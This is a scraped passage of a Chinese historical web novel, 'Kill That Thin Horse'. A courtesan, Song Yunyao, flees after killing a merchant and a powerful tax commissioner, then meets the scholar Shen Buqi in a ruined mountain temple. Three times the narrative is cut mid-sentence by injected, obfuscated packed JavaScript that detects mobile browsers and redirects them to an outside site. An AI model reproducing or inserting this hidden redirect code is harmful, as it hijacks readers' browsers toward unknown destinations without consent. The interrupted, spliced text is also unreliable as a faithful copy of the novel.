《杀死那个瘦马》 1. 如梦 她杀人了。 宋云谣跌坐血泊中，浑身发凉。 男人倒在船舱正中，面孔青白，目光空洞，没了气息。 乌黑的血从他脑后溢出，一路爬到她脚边，染红被撕破的纱衣。 几步外，那张织金软榻上，躺着另一具尸身。 “轰隆——” 雷在天上炸开，狂风吹开舷窗，珠帘乱撞，烛火熄灭。 一道雷光晃进船舱，暴雨迸散在她苍白的脸颊。 逃，快逃！ 她慌忙起身，游船却剧烈摇晃起来，将她狠狠摔倒在地。 夜幕沉沉，船外电闪雷鸣、风雨大作，江上掀起一层层风浪。 仓惶望去，那浪头竟是猩红的血色！ 浪越攀越高，直至顶点，铺天盖地的血狠狠砸下，朝她奔涌而来；而她僵在原地，转瞬便被腥膻粘稠的血浪吞没。 窈儿，窈儿，窈儿…… 血浪中，不知谁人一声声唤着她，愈发凄厉哀怨。 窈儿——！ 浑身一颤，宋云谣猛地睁开眼。 原来是梦。 面前一片黑暗，几缕微光穿过缝隙，刺进她昏沉的眼。 凄厉的叫声消失了，四下寂然，只闻船桨击水。 满脸冷汗，她下意识抬手，才发现身体蜷缩在狭小的货箱中，姿态狼狈、四肢发麻。 动作间，身上的伤处再次迸裂，右手草草缠绕的布条上，又洇出新的血迹。 宋云谣痛得抽气，终于后知后觉想起，这是她逃命的第五日。 五天前，富春江游船上。 她杀死了她的恩客、她的主子，江南商贾陈茂良。 一并杀死的，还有那位权倾江浙的矿监税使，王攀。 仓皇逃出游船、游上岸后，她却惊恐发现，留守岸上的随行小厮们全都被人割了喉，横死江边。 而后，她慌不择路逃了两日，误打误撞到了富阳渡口，混进了这艘货船。 躲在货箱三日，除却夜里偶尔摸进舱房寻几口水米，多数时候，她都陷在半梦半醒的昏睡中，一次次被尸山血海吞没。 呆怔许久，木箱外忽然传来一阵脚步，宋云谣霎时屏息回神，不敢再动。 “……这雨下得真邪，老子身上就没干爽过一日！” “一会儿平溪停了船，你爱怎么爽就怎么爽去。” “平溪能有什么好货？要我看，怎么着也要金华的姐儿，那水灵劲儿，才入得了我二哥的眼——” “滚滚滚，一帮泼才……” 几个男人嘴里嚼着荤话，哄笑一场，声音渐行渐远。 周遭又沉默下来，宋云谣强撑起精神，仔细思忖。 按方才船工所言，今日货船会在平溪渡口停船休整一夜，下一次靠岸，便是金华府了。 金华是府城，来往船只络绎不绝，渡口上必定有官兵把守。 除了核收船税、路税，查阅货物、路引都是常事。遇上有意刁难者，整船扣下都不稀奇。 更要紧的是，五天时间，足够官府发现王攀尸身、查到她的头上。 待到那时，再想脱身，恐怕就难了。 与之相比，平溪虽小，可管束松散、地势多山，远不如金华等地富庶，消息也更闭塞。 眼下若是从平溪下船，躲进山中，兴许还有一线生机。 至于之后如何活下去，便是她的造化了。 宋云谣想得入神。不自觉地，那个飘摇而混乱的雨夜，又浮现眼前。 溺水般的窒息感再一次席卷而来，浑身的痛处都在叫嚣，胃中翻涌作呕，身体不受控地轻颤。 她闭了闭眼，手紧紧抓住坠在脖颈间的旧香囊，逼自己清空思绪。 指腹摩挲着上头破旧的绣样，宋云谣仿佛抓住最后一根救命稻草。 无论如何，人已经死了，她不能让自己手里白白沾血。 她要活下去。 - 八月末，漫长的梅雨还未结束，桐江上烟水茫茫。两岸青山夹道间，行船正奔忙。 天色渐晚，蒙蒙雨雾之中，平溪渡口灯火闪烁，人影寥落。 货船驶入渡口，停靠在岸后，船工们结伴离开，只留了个资历最浅的年轻伙计看船。 众人都去镇上寻欢作乐，见四下无人，年轻伙计也翻出半坛酒，就着一碟子鱼鲊，哼着小曲儿，躲在货舱角落逍遥起来。 待船舱内渐渐安静，宋云谣轻轻掀开一条缝，小心张望。 角落里，伙计抱着酒坛，低垂着脸，仿佛醉倒了。 宋云谣心脏狂跳。 时机正好。 双眼紧盯那人的反应，她缓缓抬起货箱顶盖。 动作间，木板忽然响起吱呀声，在安静的货舱中分外刺耳，她霎时僵在原地。 好在那伙计睡得沉，并未察觉异常。 宋云谣不敢再耽搁，维持着那条窄窄的间隙，纤细柔软的身体如水般滑了出去。 钻出货箱，宋云谣拎着布鞋，赤脚踩在地上。多年习舞的功夫派上用场，行走间，莲步轻移、落地无声。 一路畅通无阻，眼见终于要打开舱门，谁料外头又有新船入港，岸上人疾呼道：“往前往前！别撞着了！” 那声音极响，伙计身子一抖，从酒中惊醒。 刚睁开眼，朦胧间，他隐约看见眼前一团黑影闪过。 伙计陡然一惊，醉意霎时散去几分，等再揉揉眼，那黑影却已消失殆尽。 四下寂静，只剩舱门被风轻轻撞开，在黑夜中吱呀摇晃。 他望着舱门下的阴影，疑心是贼匪摸上船偷盗，有些发毛；可酒壮人胆，他竟也被激起几分英雄血气，提着酒坛就往舱门去。 门外，宋云谣紧紧贴在门边，眼珠飞快在四周搜寻。 一步，两步，三步……脚步声越来越近。 她呼吸急促，一滴汗划过下颌。 千钧一发之际，年轻伙计在舱门前顿住，咽了咽唾沫。 而就在这一刻，宋云谣忽然看见侧角支起的舷窗，眼前一亮。 伙计也终于下定决心，猛地踹开舱门，将酒坛子往外狠狠一掷—— “咣当——” 意料中的惊叫没有响起，眼前空无一人，只有碎裂的酒坛，和横流的酒液。 伙计当场愣住，抄起旁边的扁挑便在船舱内急急搜寻，却始终不见人影。 最后，他喘着粗气，推开半掩的舷窗往外张望，可眼前只有一片浩渺烟波。 渡口的灯火映在江上，细雨中江水微澜，一条白鲢跳出水面，又悠悠沉底。 “真是喝昏了……” 江风吹醒他的醉意，伙计刚要懊恼转身，却“咦”了一声，俯身看向窗框上凸起的长钉。 而此刻的江水下，宋云谣凝神闭气，如游鱼摆尾，绕过货船巨大的阴影，朝岸边游去。 不知过去多久，她总算冒出水面，用力呼吸几口，朝岸边的蒲草荡缓缓游去。 蒲草锋利，草叶不断从她脸颊、脖颈划过，割出细密的口子。 地上满是湿泥，衣物都吸饱了水，她艰难跋涉其中，手脚并用，终于爬上岸。 宋云谣躺在草堆里，闭着眼，呼吸粗重，浑身脱力。 好累。好饿。好困。 若非她生在水边，一身好水性，莫说方才，富春江上就该死一回了。 已是夏末秋初，江水寒凉，江风一吹，更是刺骨的冷。 身体的温度急速下降，宋云谣心知再这样下去与等死无异，便咬紧牙关，挣扎爬起身，拨开蒲草，慢慢向外走。 总算钻出蒲草荡，可没了草叶遮拦，凄风冷雨愈发肆虐。 衣衫单薄湿透，布鞋遗落江中，宋云谣赤脚站着，冻得浑身僵冷、四肢打颤。 ——再这样下去，不等被抓上刑场斩首，她就要先一步冻死在这了。 四下张望一番，见渡口边支着个草棚，宋云谣双臂抱肩、蜷着身子，悄悄躲了进去。 草棚里空无一人，地上堆着几个木箱，其上盖了张破旧麻布，聊以遮雨。 她迟疑片刻，默念几声“对不住”，咬牙扯下麻布，裹在身上，拔腿便往外跑。 可没跑出几步，身后忽有一道男声怒斥。 “小贼！站住！” 宋云谣满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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踌躇几步，望望雨雾中炊烟袅绕的村镇，转身选了难行的路。 她一头扎进山中，不敢停歇。 夜越走越亮，林越走越密，农田庄户越走越少。 脚底尽是血痕，双腿也软得打颤，喉咙里都是血气，眼前一阵阵发黑。 饥寒中，宋云谣又被绊倒在地。这一次，她久久未爬起。 恍惚间，她好像看见自己钻出山林，轻快奔跑在大道上。 但再一琢磨，鼻尖仍是泥土的腥味，草叶仍搔刮着脸颊。 一种莫大的绝望将她吞没。 宋云谣睁开眼，抬手扇了自己一巴掌。 林中雨越来越大，她静静躺在腐臭的烂叶中，不知眼里流的是泪还是雨。 良久，她抹了把脸，终于慢慢爬起身。 谁料拨开身前杂乱丛生的蔓草，她视线中竟出现一座爬满青苔、外墙倾颓的破庙。 天无绝人之路。 宋云谣心中燃起久违的希望，拖着筋疲力尽的身体，蹒跚走进破庙。 这庙已荒废许久，满是尘灰。裂了皮的佛像上爬满蛛网，四处角落堆满了破败的杂物与干草。 四处都未寻到火源，她只能脱下湿透狼藉的破布和外衫，扯下佛桌上的布勉强裹住身体，将自己深深埋进干草堆里。 干草不知堆放多久，早已发潮，她抱着身子缩在其中，仍旧冷得浑身颤抖。 可事已至此，她无暇计较，眼前一黑，昏睡过去。 梦中又是颠倒的游船，滔天的血浪。 王攀青白的脸不断逼近，她惊慌后退，陈茂良却挡住她的后路，血人一般死死盯着她，伸出手，猛然箍住她的喉咙—— 电光石火之间，耳畔忽然传来谁的声音。 “……姑娘……” “……这位……醒醒……” 半梦半醒，她猛然睁眼，视线聚焦，模糊的人影逐渐变成一张清晰的脸。 年轻男人蹲在她身前，眉头微蹙，声音却温和轻柔，仿佛春融的涧流。 “姑娘醒了？” 目光相交，他微微一怔，垂眸避开她的视线，起身往后退了一步。 “这可不是睡觉的好地方。” 2. 冥冥中 两天前。 平溪渡口，一艘客船缓缓靠岸。 “往前往前！别撞着了！” 正逢雨夜，江边视野昏暗。船工小心操舵，岸上人高声指挥，两相配合，总算下碇停船。 泊船在岸，船主快步走向船舱。 只见舱房内，一道身影独立窗前，身姿挺拔，宛若修竹。 船主在门外停步，殷切道：“沈公子，平溪到了。现在就搬行李么？” 舱内并未点灯，映着靛青的天色，那人侧身颔首，眉目疏朗，语气和煦。 “有劳船主。砚山，你去安排。” 角落打盹的小厮砚山一骨碌站起，连声应是，推着船主出了门。 沈不器收回视线，透过舷窗，远眺着江雾中朦胧的桐江，心头几许怅然。 ——原来这就是老师笔下“山滚碧涛、水生幽林”的平溪。 只是山光水色犹在，故人昔年踪影，却早已消逝流水中了。 五年前，一桩东宫巫蛊案震惊朝野。 沈不器的老师，时任翰林院学士的李昌唯，也被卷入这场风波。 那时沈不器不过十三，回原籍南京乡试，考中解元，轰动一时。 待他春风得意返程回京，却只得到老师的死讯。 三年后，不顾祖父沈世丰反对，沈不器执意参加了会试。会试过了，殿试又被点为探花。而后入仕翰林、当选编修。 他成了大齐立国以来，最年轻的探花郎。 此般际遇，就算在书宦传家的沈家，也算是独一号的官资清贵、前程无量。 直到今年年初，朝中提起新立储君一事，当年那桩巫蛊案又被翻了出来。 风言风语有如原上之火，很快烧到了死去的李昌唯、与他唯一的学生沈不器身上。 朝局诡谲，京城风雨欲来。就在此时，绍兴林家忽然传来消息，沈不器的外祖母去世了。 几日后，沈不器向翰林院递了折子，请辞五月，回乡丁忧。 时人虽以孝为重，可多循父孝、母孝，特意为外祖母回乡奔丧、停职数月的，并不多见。 更何况这位外祖母是继室出身，入门时沈不器生母早已出嫁，与他既无血缘、也不甚亲厚。 如此看来，这番时机恰好的请辞，不免有些借机避开朝局纷扰之嫌。 可只有沈不器知道，五年来，他没有一刻不想为老师翻案。 若非祖父以死相逼，他绝不会在这个节骨眼上离开京城。 好在老天总是公平。 他回到绍兴，郁郁苦闷之时，竟意外得知老师多年前客居杭州的宅子里，仍保存着他年轻时的几箱书画手札与衣衫旧物。 得知此事，沈不器满心激动。 当初李昌唯被抄家，京城家中一应书画都被带走，至今还压在诏狱，不知何日才能重见天日。 没想到，老师昔日手稿，竟还封存在杭州。 他在绍兴守孝，不便奔波异地，只能托人偷偷寄来。 小功亲孝期五个月，他足不出户，将破朽发霉的书页一一整理修复完毕。 三箱书画，写尽了李昌唯从弱冠到而立的悲欢离合。 这十年间，他经历了年少中举、娶妻生女的风光欢喜，又接连遭遇独女被拐、妻子病逝，从此磨了心气，锁了宅子，孑然一人离开杭州。 沈不器读完，恍若隔世。 他总算明白，为何这些年来李昌唯始终不肯娶妻生子，宁可孤家寡人大半生，就连死后为他摔盆打幡的，都只有沈不器一人。 除却巫山不是云。 除却巫山不是云啊…… 三月南下绍兴，而今已然八月末，孝期结束，他是时候返程归京。 沈不器的舅舅在浙江都司任佥事，对他很是上心，早早就备好了舟马护卫、成箱的赠礼，还特意选了林家一个小辈作陪，要亲自将他送到京城才安心。 可沈不器委婉推拒了，只说他轻装简行、可以快些赶路，大件行李待日后再差人送来便是。 辞别林家，他表面走水路北上回京，可刚出绍兴，他便另寻客船，往金华府的平溪来了。 多年前，李昌唯曾携妻女来到平溪。 此地临山近水、民风淳朴，他们在此小住半月，游山玩水、访古寻碑，还曾在山中一间佛寺墙上题诗一首。 而从平溪回到杭州不久，他的女儿就被拐走。 一家三口在平溪的那段寻常日子，仿佛黄粱一梦，醒来，便也散了。 此去经年，得知那段往事，沈不器也想循着老师的脚步，看看平溪，看看他所寻访的碑石，看看他亲手题过的诗。 “少爷，行李都搬好了。” 砚山在门外催促，沈不器从回忆中抽身。 “那便走吧。” 刚下船，渡口上雨势渐大，管事万大将行李搬到草棚避雨，砚山前去路边赁车。 沈不器站在一旁，同船主约好，三日后再来接他上京。 他们主仆三人衣衫虽朴素寻常，可行事作态都不似寻常人家子弟，出手也阔气。 北上京城又是笔大生意，船主脸上笑开了花，态度更加殷勤，连连弯腰应是。 二人刚要辞别，身后忽然响起万大的呼喝：“小贼！站住！” 沈不器眉头一皱，回头望去，却见昏暗夜色中，一道黑影钻出草棚，飞快跑进一旁林中。 那人从头到脚裹在一块黑布中，看不清样貌年纪，只依稀看见那人赤着脚，身形瘦小。 “诶哟！沈公子快去瞧瞧，可别丢了东西！”一旁的船主也目睹了全程，脱口而出，“这平溪的贼寇真是越来越嚣张了……” 沈不器脚步微顿，当即问道：“船主何出此言？平溪近来不太平么？” 船主一愣，看了看四周，压低声音。 “沈公子有所不知，之前平溪被‘那位’盯上，征了不少人挖矿脉，可几年都没有消息。” 船主没有明说，可沈不器当即便明白过来，讳莫如深的“那位”，便是如今威震江浙的矿监税使，太监王攀。 “衙门费了这许多财力物力，税却没收上来，可不得急了？之后三年，平溪的税，那叫一个……” 船主啧啧两声，一副尽在不言中的模样。 沈不器微微抿唇，目光沉沉。 平溪多山少田，百姓靠水吃水，靠打渔船运维持生计，本就不富庶。 税苛民穷，日子难过，小偷小摸、贼匪流寇，自然就多了。 更莫说，其中主事者，还是那位大名鼎鼎的矿监税使王攀。 王攀的贪欲无厌、心狠手辣，可以说是朝野有名。 也曾有地方官上疏弹劾，皇帝却只不轻不重罚了王攀半年俸，那位地方官反倒连降三级废了仕途。至此，王攀在江浙的气焰更加嚣张。 沈不器心头思绪起伏，面上却全然不显。他持伞朝草棚走去，远远听见管事万大的咒骂。 “……瞎了他的狗眼！穷酸地儿的贼，偷东西也穷酸！” 见他走来，万大又换了副嘴脸，堆着笑奉承他。 沈不器满心厌烦，讥讽了几句，又觉得意兴阑珊。 在这指桑骂槐，却伤不了苛税恶吏一根毫毛，当真是可笑。 坐上车，他心烦意燥、神色冷峻，万大与砚山吓得一路大气不敢吭。 牛车摇摇晃晃许久，终于到了镇上，唯一的旅店却早已人去楼空。 夜已深，三人只能就近寻户有空屋的农家小院借宿。 农家的老夫妇拘谨而淳朴，收了银子，手脚都不知往何处放。砚山与万大各吃了碗热汤面，沈不器只喝了两杯茶，便各自睡去。 第二天，沈不器起了个大早。本想打听打听李昌唯曾去过的佛寺在何处，却没想到，砚山与万大竟病倒了。 许是昨夜的米面早已变了质，二人上吐下泻不止，脸色惨白，起身都难。 老夫妇急得快掉泪，操着乡音连声解释自己什么也没做，生怕沈不器将他们扭送官府，扑通一声就跪在了他跟前。 沈不器一个头两个大，耐着性子安抚好那对老夫妇，独自一人驾牛车去镇上请大夫抓药。正逢集市，又买了不少油粮米面回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467253|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 待一切安顿好，时辰已近傍晚。 砚山与万大喝了药，躺在床上浑身虚汗。 可身体再多不适，看到小院里挽起袖子劈柴、还与老夫妇交谈甚欢的沈不器，万大心中只剩震撼。 他忍不住喃喃道：“少爷的手，那是拿笔、拿印的手，怎么能碰斧头呢？” 砚山翻个身，诶哟诶哟叫唤两声，看见万大呆滞的目光，翻了个白眼：“你懂什么。” 少爷从前跟在李昌唯先生身边时，莫说劈柴，烧火做饭都做过呢！ 他想了想，囫囵翻出李昌唯常挂嘴边的话，煞有介事道：“不识百姓民生，怎么为百姓做官？” 兵荒马乱的一天终于过去。隔天清晨，农家的鸡鸣还未响起，沈不器便起了身。 用凉水简单洗漱一番，他背上行囊雨具，顺着昨日老夫妇指的路，独自一人上了山。 归期在即，砚山与万大走路都腿软，他等不及，只能先行上山。 听老夫妇说，山中确曾有一座寺庙，几十年前住持圆寂、又走了水，渐渐也就无人再去了。 距离虽不远，翻过山便是，只是荒废多年，山路难走些。 沈不器三岁便拜师李昌唯，从小便随他出游，走个山路自然不在话下。只是临出门时，想起渡口上船主的话，他犹豫片刻，还是带上了舅舅送他的短刀。 行至山顶，已近晌午时分，沈不器寻了个大石歇脚。登高远眺，山间层雾缭绕，远处的桐江在山峦间曲折环绕。 置身壮丽山水之间，他心间那几分愁绪也好似淡了。 脚边落了许多野栗子，沈不器顺手捡了几颗放进包里。低头寻栗子时，又意外发现有块大石刻了字。 他喜不自胜，反复辨认几遍，确认这就是李昌唯游记中曾偶遇的那块碑。他摸着凹凸起伏的碑文，心中感怀万分。 简易拓了碑文，拓片半干未干之时，天上又下起雨。 今日能找到这残碑已是万幸，可他愁闷数月，心中难得如此畅快，便也放肆了自己的兴致，背上行囊，便继续往前走去。 往后的路愈发难行，林中草木葳蕤繁茂，他拿出短刀一路走一路砍。直到天光渐暗，山石掩映之间，他终于看到一座残破的寺庙。 一切来得太顺，沈不器脚步停顿，心脏狂跳，一时间竟有几分近乡情怯。 他愈发觉得，或许冥冥中，是李昌唯指引他来此的。 踏进寺中，他脱下遮雨的油帔，迫不及待往四面墙上梭巡，试图找到李昌唯的字迹。可是天光西沉，室内一片昏暗，除了佛像巨大的剪影，什么也看不清。 沈不器耐下性子，捡了些地上的枯枝干草，笼了个火堆。想了想，又拿出白日捡的野栗子，剥了外皮，顺手丢进火中。 屋外雷雨声渐起，佛殿内一室暖光。沈不器寻了一圈，果然在西侧剥落的墙皮上，隐隐看见几团乌黑的痕迹。 他举着火折子靠近，努力辨认墙上字迹。 墙边垒了近半人高的草堆，实在挡路，可刚要弯腰抱走干草时，忽然听见身前传来一阵微弱的喘气声。 沈不器眉心紧蹙，迅速退后半步，抽出腰间短刀，轻轻挑起眼前的干草。 只见草堆中，一个身形瘦弱的少女蜷缩其中，身体微微颤抖，身上不见衣物，只用一块破旧的黄布紧紧裹住身体取暖。 女孩双眼紧闭，头发散乱脸上，看不清面容，呼吸间，只依稀可见脖颈苍白的皮肤下，脉搏轻微鼓动。 沈不器微微怔住。 迟疑间，那女孩呼吸骤然一窒，喉间呜咽，像是被魇住一般，四肢也不安稳地抽动起来，仿佛溺水挣扎之人。 他连忙回神，蹲下身，连声唤道：“姑娘，这位姑娘？快醒醒……” 不过几声，那少女猛地睁开眼，视线直直望进他眼里。 沈不器下意识垂眸，定了定神，起身后退一步，避开她的双眼。 “姑娘醒了？” 余光里，她的视线却追他而去，他只能盯着地上跳动的火光。 “这可不是睡觉的好地方。” 3. 命案【重修】 夜幕彻底降临，寺庙外狂风四起、雷雨交加，室内却静得只闻那女子急促而微弱的喘息。 沈不器难得有些窘迫。 无论她是山间避雨的农家女，还是借宿此地的乞儿，即便他心中并无遐思，但孤男寡女、共处一室，终究不合适。 身后迟迟没有动静，他思及自己在此多有不便，干脆向外走去。 行走间衣摆不巧带过身旁草堆，干草散了一地，有东西滚落在他脚边，挡住去路。 沈不器步子一顿，低头望去，神情僵住，心中愕然。 只见地上赫然躺着几件揉作一团的衣裳，其中一件深色外衫上竟刀口纵横、血迹斑斑！ 寺庙外狂风乍起，卷着冷雨扑向寺内，沈不器霎时清醒过来。 他不动声色蹲下身，翻开深色外衫，血腥味扑面而来。 其下一件女子的里衣，轻纱薄透、衣料上乘，即便早已被雨水冲刷淡去，仍能看清裙摆洇着大片浅红的血迹。 胡乱缠在其中的，还有一块熟悉的破旧麻布。 盯着手中衣物，他很快镇定下来，拾起衣衫，抖落两下，大方转身，放到她面前。 “姑娘，先穿上吧。”他轻轻说。 沈不器微微弯腰，对上她的视线。 目光再次相交，血腥气钻进彼此鼻腔，周遭气氛骤然紧张起来。 眼前女子仍缩在草垛中，黄布下双臂紧紧抱着身体，姿态防备，神情恍惚。 透过散乱在脸上的碎发，她的双眼死死盯着他，目光却不见聚焦。 ——仿若一头夺食失败的盲兽，在黑暗中做好了报复反扑的准备，目标却对准了一汪静水。 她究竟是谁？ 为何出现在此地？ 稍许，沈不器率先偃旗息鼓，走到火堆边坐下。 他侧身背对她，随手捡了根木棍，轻轻拨弄火中的栗子。 而他身后，宋云谣慢慢拿过衣衫，一件件往身上穿，可动作僵直，如同梦游一般。 她浑身冷汗涔涔，脑中一片混沌。 眼前光线昏暗，只依稀看见一个男子坐在几步外，耳畔隐隐传来雷雨声，身下尽是柔软的谷草。 她还在富春江的游船上吗？ 或是还没逃出那艘货船？ 梦里的血浪与一具具尸体不断在眼前回闪，身体一时滚烫、一时冷得发颤，痛感钻进四肢五骸的缝隙。 煎熬中，眼前究竟是现实，还是又一场永无止境的噩梦？她分不清了…… “笃笃——” 耳边忽然传来轻微的磕碰声，宋云谣如惊弓之鸟，慌忙抬眼望去 ，却见男人低头敲着什么，衣袖遮掩间，一道寒光刺入她的眼睛。 ——是刀！ 刹那间，纷繁的记忆涌入脑海，宋云谣下意识想逃，可四肢绵软无力，来不及站起身，那人已经听见异响，缓缓转来视线—— “别过来！” 千钧一发之际，她从后脑打结的乱发中抽出簪子，双手紧攥，直直指向男人！ 而他仍坐在原地，镇定自若，目光顺着她手中的簪子，一路滑到脸上，带着几分探究的意味。 情绪几近崩溃，她对时间的感知也逐渐麻木，双手渐渐颤抖，已是强弩之末。 她心中升起一个绝望的念头。 若他也不放过自己，那她该怎么办？ 难道再杀一个人么？ 思量间，男人已收敛锋芒，从柴灰中捡起一颗板栗，手上短刀轻巧一磕，外皮裂开，糯香滚烫的栗子仁露了出来。 板栗递到她的方向，他静静望着她。 “姑娘。”他温声道，“可要尝尝这烤板栗？” 宋云谣后背紧紧靠着墙壁，浑身冷汗，胸膛因为紧张而剧烈起伏着。 而那人收起短刀，缓缓靠近，在她急促的呼吸声中，将板栗轻轻放到她面前的草堆上，而后退回原位。 “山上随意捡的野栗子，个头儿小了些，味道倒是恰好。” 他背过身，继续拨弄着火堆，像什么都没发生一般，语气平淡，自顾自道。 “今年梅雨长，果子掉地上也烂得快。幸得不是荒年，还没到百姓沿山拾栗果腹的地步……” 男声清冽悦耳，仿佛偶然流过群山的云雾，平静而漫无边际地说着乡野琐事。 屋外风雨潇潇，庙中柴火声呼呼，宋云谣慢慢放下簪子，神志逐渐回笼。 她不知道自己昏睡了多久，也不知道自己为什么撑到今日还没死。心中只剩一个念头，好饿。 在饥饿面前，浑身的疼痛都显得微不足道。来不及剥壳，她抓起板栗，囫囵塞进嘴里。 吃得太快，干硬的壳和果仁卡住喉咙，宋云谣咳得喘不过气。泪水混杂干呕欲涌上来时，眼前忽然递来一只竹筒。 来不及说话，她下意识接过竹筒，仰头往喉咙里倒水。 半罐水下肚，终于顺了口气，眼前又递来一块油纸包好的白糕。 宋云谣抬头望去，那人安静地站在身前，维持着恰如其分的距离，视线转向一边，避开了她的难堪。 迟疑间，许是看出她心存疑虑，他伸出手掰了一块白糕，喂进嘴里几口吃下。 宋云谣抿抿唇，默默接过白糕。 余光里，那人又坐回火边剥板栗子。 就着竹筒里的水，她一边飞快咽下白糕，一边打量着他的背影，思绪转动。 此人与她年龄相仿，相貌俊美、身形修长。身上行头看着样式朴素，可衣料板正、走线细密、剪裁精巧，并非寻常。 方才靠近时，又隐约在他指尖看见墨迹，身上也嗅到一股淡淡的熏香——若没记错，应当是降真香。 降真香身价高昂，非达官显贵轻易不可得。 陈茂良曾花大价钱寻了几钱，也舍不得自用，只给她看过两眼便小心收了起来，足见其珍贵。 如此想来，眼前之人多半是个出生书香门第的公子，家境富庶却不张扬。 独自一人跑到荒郊野岭的破庙里，多半是学了文人雅士之风，游乐山水、寻访古迹。 只可惜…… 她低下头，看着身上这件布满血迹与刀口的宽大外袍。 数日前，她从游船逃到岸边，浑身都已湿透。别无他法，只能从横死在富春江边的小厮身上扒下外衫，聊以取暖蔽体。 没想到，当日的权宜之计，竟成了眼下的催命符。 此时此刻，比起什么山中古迹，他恐怕更想知道她这一身血衣的来历。 可他们力量悬殊，眼下也已错过逃跑的时机。就算勉力逃出寺庙，只会令他疑窦更甚，说不定立马下山报官…… 宋云谣紧咬下唇，心底一下下敲起鼓。 思忖间，男人先一步开了口。 “姑娘兴许不记得了，两天前在平溪渡口，你我便见过。” 平溪渡口？ 宋云谣一愣，却见他指了指她披在肩上的布。 她立时反应过来，涨红了脸，飞快扯下那块麻布，起身要给他，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467254|154264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉，是我不该偷拿……” 他却并未收下，只道，“一块布而已，言重了。若能帮上忙，倒也物尽其用。” 说完，他很快移开视线，神情有些尴尬。 她低头一看，才发现自己赤足踩在地上，双脚红肿，脚背布满血口和脏污。 宋云谣顿觉尴尬，脚趾蜷缩，试图将双脚藏进衣袍中。 手足无措之际，那人从身侧包袱里翻出一件干净的棉绸短衫，刀在衣摆割开口子，撕下两块布条，连同袍子一起递给她。 “没穿过的。”他低声说。 她微微诧异，不禁暗中打量，却见他偏头看向一边，面上平静无波，细看却有几分不忍。 宋云谣心中一动。 她差点忘了，这般年纪的富家公子，最不缺怜香惜玉的本事。 心念电转，她故作为难，踌躇片刻才伸手接过短衫，在他对面坐下。 隔着一簇篝火，她披上短衫，慢慢用棉布缠住受伤的脚。没过一会儿，低头抽噎起来。 “可是遇到什么事了？为何你一人在山中？” 对面果然关切询问起来，宋云谣抬袖拭泪，哽咽开口。 “这位公子有所不知，我本不是平溪人士，只是前几日同家里人回乡省亲，偶然路过此地……” 她将脸埋进袖中，哭得上气不接下气，“谁知路上遇到山匪……只剩我一个……” “节哀。”那人声音霎时肃然，追问道，“恕我唐突，敢问姑娘家在何处，又要到哪儿省亲？” 她编了个姓氏，含糊其辞，“我姓苏，家在杭州，去福建省亲。” “福建……”那人沉吟两句，斟酌道，“苏姑娘可还记得，是在何处遇到的山匪？匪徒又有几人？什么样貌？” 她做出回忆的模样，磕磕绊绊地描述。 “我不知道……我睡了许久，醒来就遇到山匪，约莫四五个，各个拿着刀，将马车拦下后就开始砍杀……那天是晚上，雨很大，全是血……” 胡乱说了一堆凶险的场面，不知为何，她眼前莫名浮现起两张臃肿青白、狰狞可怖的脸，声音忽然卡住。 她张了张口，半晌才找到声音。 “……他想碰我，掐我的喉咙，骂我是个婊子，还骂了别的，我喘不过气，没听清……” 她脸上的神情消失了，望着摇曳的火光喃喃道。 “……地上全是尸体，全死了，只剩我一个。” 室内一时寂然。 “抱歉。”他神情复杂，几分懊恼、几分歉疚。 宋云谣轻轻摇头，不再回应。 在她痛苦而沉默的姿态下，他只能将满腹疑问都咽下。 “鄙姓沈，苏姑娘叫我沈三便是。”他声音轻柔，唯恐将她吓到。 “夜里山路难行，又下着雨，恐怕只能在此将就一夜。若苏姑娘信得过我，待明日雨停，我便送你下山报官。” 他郑重道：“苏姑娘放心，官府定会给你一个交代。” 宋云谣垂头不语，藏在袖中的手轻轻一颤。 说完，他往火堆里添了几根干柴，又起身抱了一团干草，径直走到寺庙门前，背对她坐下。 宋云谣双臂抱膝，看着他的背影，脸上的柔弱与悲戚消失，只剩冷冷的警惕与审视。 等了许久，那沈三仍坐在门口，没有回来的意思。她力竭地闭眼，手伸进领口，握住那只熟悉的旧香囊。 这一夜，她骗过去了。 明天，她又该怎么办？ 4.江流 天黑透了，寺庙外雷雨交加。 宋云谣缩在火堆前，盯着沈三坐在门槛边的背影，久久未眠。 火光跃动，湿柴毕剥作响，温暖久违包裹她的身子，不断侵蚀麻痹她的戒备。她勉力支撑到近五更天，不知何时闭上了眼。 再醒来时，山鸟啁啾，柴火灰白。宋云谣怔了怔，张望一圈，并未看见沈三的身影。 难道他走了？ 心里燃起几分不可置信的狂喜，宋云谣撑着发麻的腿站起身，刚要往外跑，双脚踩到什么，差点被绊倒在地。 她低头望去，不由愣住。 这是一双手编的草鞋。 “你醒了？” 门外传来沈三的声音，他手拎两只满水的竹筒，挟一身冷雾走来。 见她望着草鞋神情怔怔，又道，“不知合不合适，苏姑娘暂且将就一二。” 轻描淡写说完，他坐地笼火，将竹筒支在火上煮沸。 宋云谣拾起草鞋，心绪纷乱。半晌，低低道，“多谢。” 沈三只微微一笑，并不多言。 